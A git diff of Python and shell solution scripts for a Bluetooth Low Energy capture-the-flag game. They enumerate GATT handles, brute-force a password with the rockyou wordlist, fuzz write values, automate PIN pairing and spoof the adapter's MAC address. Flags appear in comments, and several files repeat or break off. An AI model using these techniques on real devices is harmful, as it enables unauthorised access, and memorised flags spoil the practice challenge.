+    p.disconnect()
\ No newline at end of file
diff --git a/lvl_05.py b/lvl_05.py
new file mode 100755
index 0000000..f98d9b9
--- /dev/null
+++ b/lvl_05.py
@@ -0,0 +1,38 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         find a valid write value in this pcap to use below
+44  0x2C   READ WRITE   https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+84cf61c35b2d9c92217d
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 05")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+print("Sending \"121212121222\" to 0x2c")
+
+services=p.getServices()
+
+hexlif2 = binascii.unhexlify("121212121222")
+hexlif2 = str(hexlif2)
+response = p.writeCharacteristic(0x2C, hexlif2, True)
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_05_solution.png b/lvl_05_solution.png
new file mode 100644
index 0000000..310f5c6
--- /dev/null
+++ b/lvl_05_solution.png
Binary files differ

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
+                pairing_status = True
+            else: # i == 1
+                print('wrong PIN, retrying if time will allow') 
+    except pexpect.EOF:
+        print ('!!!!!!!! EOF')
+    except pexpect.TIMEOUT:
+        print ('!!!!!!!! TIMEOUT')
+        
+    # hide Pi's bluetooth for security reasons
+    child.sendline('pairable off')
+    child.expect("pairable off succeeded")
+    child.sendline('discoverable off')
+    child.expect("discoverable off succeeded")    
+    child.close()
+    
+    return pairing_status
+
+#main program body
+PAIRING_TIME_LIMIT = 60
+BT_PIN = "0000" # random.randint(1000,10000)    # generate random 4-digit PIN 1000..9999
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,3)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+p.disconnect()
+
+status = pair_with_pin(int(time.time()), str(BT_PIN), PAIRING_TIME_LIMIT)
+if status == True:
+    print('Pairing successful')
\ No newline at end of file
diff --git a/lvl_04.py b/lvl_04.py
new file mode 100755
index 0000000..21ede3e
--- /dev/null
+++ b/lvl_04.py
@@ -0,0 +1,104 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import itertools
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+Flag: f401f21d02fdd0a4fc00
+'''
+
+notificationData = ""
+
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, hndl):
+    btle.DefaultDelegate.__init__(self)
+    self.hndl=hndl;
+
+  def handleNotification(self, cHandle, data):
+    global notificationData
+    notificationData = data
+    #print("d: "+data)
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,4)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+p.disconnect()
+
+'''
+# of course not, this brute-force would make sense!
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(4,5))
+'''
+
+'''
+# not this!
+print("Generating wordlist")
+charset = "01234565789ABCDEF"
+generator = itertools.chain.from_iterable((''.join(l)
+  for l in itertools.product(charset, repeat=i))
+  for i in range(12,13))
+'''
+
+print("Generating wordlist")
+generator = list()
+charset = list("0123456789ABCDEF")
+origPass = list("AABBCCDDEEFF")
+for x in range(len(origPass)): 
+  newPass = list("AABBCCDDEEFF")
+  for y in range(len(charset)):
+    newPass = list("AABBCCDDEEFF")
+    newPass[x] = charset[y]
+    generator.append("".join(newPass))
+
+for password in generator:
+  hexlif2 = binascii.unhexlify(password)
+  hexlif2 = str(hexlif2)
+
+  deviceMAC = open('ctf_mac.txt').read()  
+  p = btle.Peripheral(deviceMAC)
+
+  try:
+    srvs = (p.getServices());
+    chs=srvs[2].getCharacteristics();
+    ch=chs[1];
+    cccd = ch.valHandle + 1
+    #print(str(ch)+str(ch.propertiesToString())); # print charchteristic's properties i.e. READ, WRITE, NOTIFY
+
+    p.setDelegate(MyDelegate(ch.getHandle()));
+    svc=p.getServiceByUUID(0x00FF)
+    p.writeCharacteristic(cccd, b"\x01\x00");
+
+    sys.stdout.write("\rTrying: %s" % password.rstrip())
+    response = p.writeCharacteristic(0x2C, hexlif2)
+
+    gotResponse = False
+    while gotResponse == False:
+      if p.waitForNotifications(1.0):
+        rsp = notificationData
+        hex = binascii.b2a_hex(rsp)
+        hexstr = str(hex).strip("0").upper()
+        #sys.stdout.write(" Response: " + hexstr) # for debugging
+        
+        if(password.strip("0") != hexstr):
+          print(" Flag: %s" % notificationData.rstrip())
+          exit()
+        else:
+          gotResponse = True
+          continue
+      print "Waiting..."    
+    
+  finally:            
+    p.disconnect()
\ No newline at end of file
diff --git a/lvl_05.py b/lvl_05.py
new file mode 100755
index 0000000..f98d9b9
--- /dev/null
+++ b/lvl_05.py
@@ -0,0 +1,38 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         find a valid write value in this pcap to use below
+44  0x2C   READ WRITE   https://github.com/hackgnar/ble_ctf_infinity/blob/master/gatt_servers/pcap_write/write_sample.pcap
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+84cf61c35b2d9c92217d
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 05")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+print("Sending \"121212121222\" to 0x2c")
+
+services=p.getServices()
+
+hexlif2 = binascii.unhexlify("121212121222")
+hexlif2 = str(hexlif2)
+response = p.writeCharacteristic(0x2C, hexlif2, True)
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_05_solution.png b/lvl_05_solution.png
new file mode 100644
index 0000000..310f5c6
--- /dev/null
+++ b/lvl_05_solution.png
Binary files differ
diff --git a/lvl_06.py b/lvl_06.py
new file mode 100755
index 0000000..a2cd758
--- /dev/null
+++ b/lvl_06.py
@@ -0,0 +1,32 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+import subprocess
+  
+'''
+42  0x2A   READ         Connect with mac 11:22:33:44:55:66. Try using bluez's bdaddr
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 06")
+hex1 = binascii.unhexlify(str('%0*x' % (4,5)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+subprocess.call(['bdaddr','-i', 'hci0','11:22:33:44:55:66', '0'])
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file

diff --git a/ctf_mac.txt b/ctf_mac.txt
new file mode 100644
index 0000000..ff07818
--- /dev/null
+++ b/ctf_mac.txt
@@ -0,0 +1 @@
+3c:71:bf:f1:ef:c6
\ No newline at end of file
diff --git a/enumerate.py b/enumerate.py
new file mode 100755
index 0000000..9994109
--- /dev/null
+++ b/enumerate.py
@@ -0,0 +1,23 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+services=p.getServices()
+for service in services:
+   print (service)
+   q = service.getCharacteristics()
+   for characteristic in q:
+      hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+      if (characteristic.supportsRead()):
+         hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+         hexlif2 = binascii.unhexlify(hex2)
+         print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+      else:
+      	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+  
+p.disconnect()
\ No newline at end of file
diff --git a/enumerate.sh b/enumerate.sh
new file mode 100755
index 0000000..59cb9a5
--- /dev/null
+++ b/enumerate.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+bleah -b `cat ctf_mac.txt` -e
\ No newline at end of file
diff --git a/level_04.py b/level_04.py
new file mode 100644
index 0000000..252cefb
--- /dev/null
+++ b/level_04.py
@@ -0,0 +1,46 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         Handle 0x002C takes value AABBCCDDEEFF. Fuzz a varient of this to find the flag!
+44  0x2C   NOTIFY WRITE 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 04")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+password = "AABBCCDDEEFF"
+
+sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+response = p.writeCharacteristic(0x2C, password.rstrip(), withResponse=True)
+while True:
+  if p.waitForNotifications(1.0):
+    # handleNotification() was called
+    continue
+    print "Waiting..."    
+     
+    #hex1 = p.readCharacteristic(0x2C)
+    #hex2 = binascii.b2a_hex(hex1) 
+    #hexlif2 = str(binascii.unhexlify(hex2))        
+            
+class MyDelegate(btle.DefaultDelegate):
+  def __init__(self, params):
+    btle.DefaultDelegate.__init__(self)
+    # ... initialise here
+
+  def handleNotification(self, cHandle, data):
+    # ... perhaps check cHandle
+    # ... process 'data'
+    print("Data: "+data)
+
+p.disconnect()
\ No newline at end of file
diff --git a/load_level.py b/load_level.py
new file mode 100755
index 0000000..fd7da0f
--- /dev/null
+++ b/load_level.py
@@ -0,0 +1,60 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+chall_uuid = 0x30
+board_uuid = 0x2e
+score_uuid = 0x00ff
+
+if len(sys.argv) != 2:
+   print "Requires level no.:", sys.argv[0], "<0-9 or \"s\" for scoreboard>"
+   quit()
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+#p.connect(deviceMAC, "public")
+if( sys.argv[1] == "s"):
+	# load scroebaord... hopefully
+	print("Loading scoreboard")
+	#deviceMAC = open('ctf_mac.txt').read()  
+	#p = btle.Peripheral(deviceMAC)
+	response = p.writeCharacteristic(board_uuid, "fuck you")
+else:
+	level = int(sys.argv[1])
+	level_hex = str('%0*x' % (4,level))
+	print level_hex
+
+	
+
+	#print ("Attached to peripheral")
+	#services = p.getServiceByUUID(score_uuid)
+	#char = services.getCharacteristics(chall_uuid)[0]  
+
+	print("Loading level")
+	#char.write(level_hex)
+	hex1 = binascii.unhexlify(level_hex)
+	response = p.writeCharacteristic(chall_uuid, hex1)
+
+print("If error try again...it takes a few attempts, BLE is a bit crap")
+p.disconnect()
+time.sleep(1)
+p = btle.Peripheral(deviceMAC)
+
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+scoreboard = p.getServiceByUUID(score_uuid)
+q = scoreboard.getCharacteristics()
+for characteristic in q:
+  hex1 = int(format(characteristic.getHandle(),'02X'), 16)
+  if (characteristic.supportsRead()):
+       #hex2 = binascii.b2a_hex(p.readCharacteristic(hex1))
+       #hexlif2 = binascii.unhexlify(hex2)
+       hexlif2 = characteristic.read()
+       
+       print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() + "	" + hexlif2)
+       
+  else:
+  	 print (str(hex1)+"  0x"+ format(characteristic.getHandle(),'02X')  +"   "+ characteristic.propertiesToString() )
+p.disconnect()
diff --git a/lvl_00.py b/lvl_00.py
new file mode 100755
index 0000000..de7cb6f
--- /dev/null
+++ b/lvl_00.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+simply follow the example https://github.com/hackgnar/ble_ctf_infinity
+to ensure know how to read and write to charachteristics and know the basics of how to navigate the game
+understand GATT services, charachteristics and handles.. the basics.
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+print ("Attached to peripheral")
+
+handle = "0x2e"
+content = "12345678901234567890"
+
+print("Sending \"12345678901234567890\" to 0x2e")
+
+services=p.getServices()
+
+hex_int = int(handle, 16)
+hex1 = binascii.hexlify(handle)
+response = p.writeCharacteristic(hex_int, content, True)
+print("Done")
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_01.py b/lvl_01.py
new file mode 100755
index 0000000..f4046b7
--- /dev/null
+++ b/lvl_01.py
@@ -0,0 +1,29 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ         goodbye 👋
+
+fc3fd58dcdad9ab23fac
+'''
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 1")
+hex1 = binascii.unhexlify(str('%0*x' % (4,1)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+
+print("Reading value")
+hex1 = p.readCharacteristic(0x2C)
+hex2 = binascii.b2a_hex(hex1) 
+hexlif2 = str(binascii.unhexlify(hex2))
+print("Flag: %s" % hexlif2)
+
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_02.py b/lvl_02.py
new file mode 100755
index 0000000..b6665d8
--- /dev/null
+++ b/lvl_02.py
@@ -0,0 +1,41 @@
+#! /usr/bin/python
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+  
+'''
+42  0x2A   READ WRITE   Enter password here. Use rockyou.
+44  0x2C   READ 
+46  0x2E   READ WRITE   write here to goto to scoreboard
+
+password1234 - eca7d1f3cf60a8b5344a
+'''
+
+rockyou = "/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
+
+deviceMAC = open('ctf_mac.txt').read()  
+p = btle.Peripheral(deviceMAC)
+svc=p.getServiceByUUID(0x00FF)
+print ("Attached to peripheral")
+
+print("Loading level 02")
+hex1 = binascii.unhexlify(str('%0*x' % (4,2)))
+p.writeCharacteristic(0x30, hex1, withResponse=False)
+
+with open(rockyou) as f: 
+    for password in f: 
+    
+        sys.stdout.write("\rTrying: %s                                          " % password.rstrip())
+        response = p.writeCharacteristic(0x2A, password.rstrip(), withResponse=True)
+        
+        hex1 = p.readCharacteristic(0x2C)
+        hex2 = binascii.b2a_hex(hex1) 
+        hexlif2 = str(binascii.unhexlify(hex2))
+        
+        if hexlif2 <> "":
+           print "\rPassword Found: %s" % password.rstrip() 
+           print "Flag: %s" % hexlif2
+           break; 
+            
+p.disconnect()
\ No newline at end of file
diff --git a/lvl_03.py b/lvl_03.py
new file mode 100755
index 0000000..bc95b86
--- /dev/null
+++ b/lvl_03.py
@@ -0,0 +1,110 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+from __future__ import print_function   # import print from python3: end=""
+import time   
+import re
+import pexpect    # sudo apt-get install python-pexpect
+import subprocess
+import random
+import binascii
+import struct
+import sys, os, time
+import bluepy.btle as btle
+
+'''
+Service <uuid=Heart Rate handleStart=40 handleEnd=65535>
+42  0x2A   READ         Connect with pin 0000. Try using bluetoothctl
+
+b46fa238cf820d0f60c1
+'''
+
+# !!! make sure bluetoothd runs in --compat mode before executing this script !!!
+def pair_with_pin(start_time, pin, time_limit=60):  # int(time.time()), pin - \d{4}, time_limit - approximate pairing window time in seconds, it might take up to 2x (nested timeout conditions)
+    "exectutes pairing with entered PIN on bluetooth adapter side"
+    try:
+
+        newpid = os.fork()
+        if newpid == 0:
+            '''
+            Start bluepy stuff
+            '''
+            subprocess.call(['hciconfig','hci0','down'])
+            subprocess.call(['hciconfig','hci0','up'])
+
+            deviceMAC = open('ctf_mac.txt').read()  
+            p = btle.Peripheral(deviceMAC)
+            svc=p.getServiceByUUID("0000180d-0000-1000-8000-00805f9b34fb")
+            print ("Attached to peripheral")  
+            hex1 = p.readCharacteristic(0x2C)
+            hex2 = binascii.b2a_hex(hex1) 
+            hexlif2 = str(binascii.unhexlify(hex2))
+            print("Flag: "+hexlif2) 
+            p.disconnect()
+            exit()
+        else:
+            '''
+            Start actual pair stuff 
+            '''
+            subprocess.call(['hciconfig','hci0','sspmode', '0'])
+            
+            # bluetoothctl 
+            child = pexpect.spawn('bluetoothctl')
+            child.logfile = open("/tmp/mylog", "w")
+            child.expect("#")
+            child.sendline('agent off') # might be unnecessary
+            #child.sendline('scan on') # might be unnecessary
+            child.expect("unregistered")
+            
+            child.sendline('agent KeyboardDisplay ')
+            child.expect("Agent registered")
+            child.sendline('pairable on')
+            child.expect("pairable on succeeded")
+            child.sendline('discoverable on')
+            child.expect("discoverable on succeeded")
+            child.sendline('default-agent')
+            child.sendline('remove 3c:71:bf:f1:ef:c6')
+            child.sendline('pair 3c:71:bf:f1:ef:c6')
+
+            child.expect('Request passkey', timeout = time_limit )   # timeout <= PAIRING_TIME_LIMIT to keep some kind of logic
+            print ('Sending PIN: ' + pin) 
+            child.sendline(pin)
+            i = child.expect(['Paired: yes', 'Enter passkey:'], timeout = time_limit)
+            if i == 0: # found 'Paired: yes' == successful pairing
+                trust_mac = 'trust ' + re.search(r'(?:[0-9a-fA-F]:?){12}.+$', child.before).group(0)    # extract MAC from last line, one with 'Paired: Yes'
+                child.sendline(trust_mac)   # optionally add device to trusted
+                child.expect('trust succeeded', timeout = 10)                
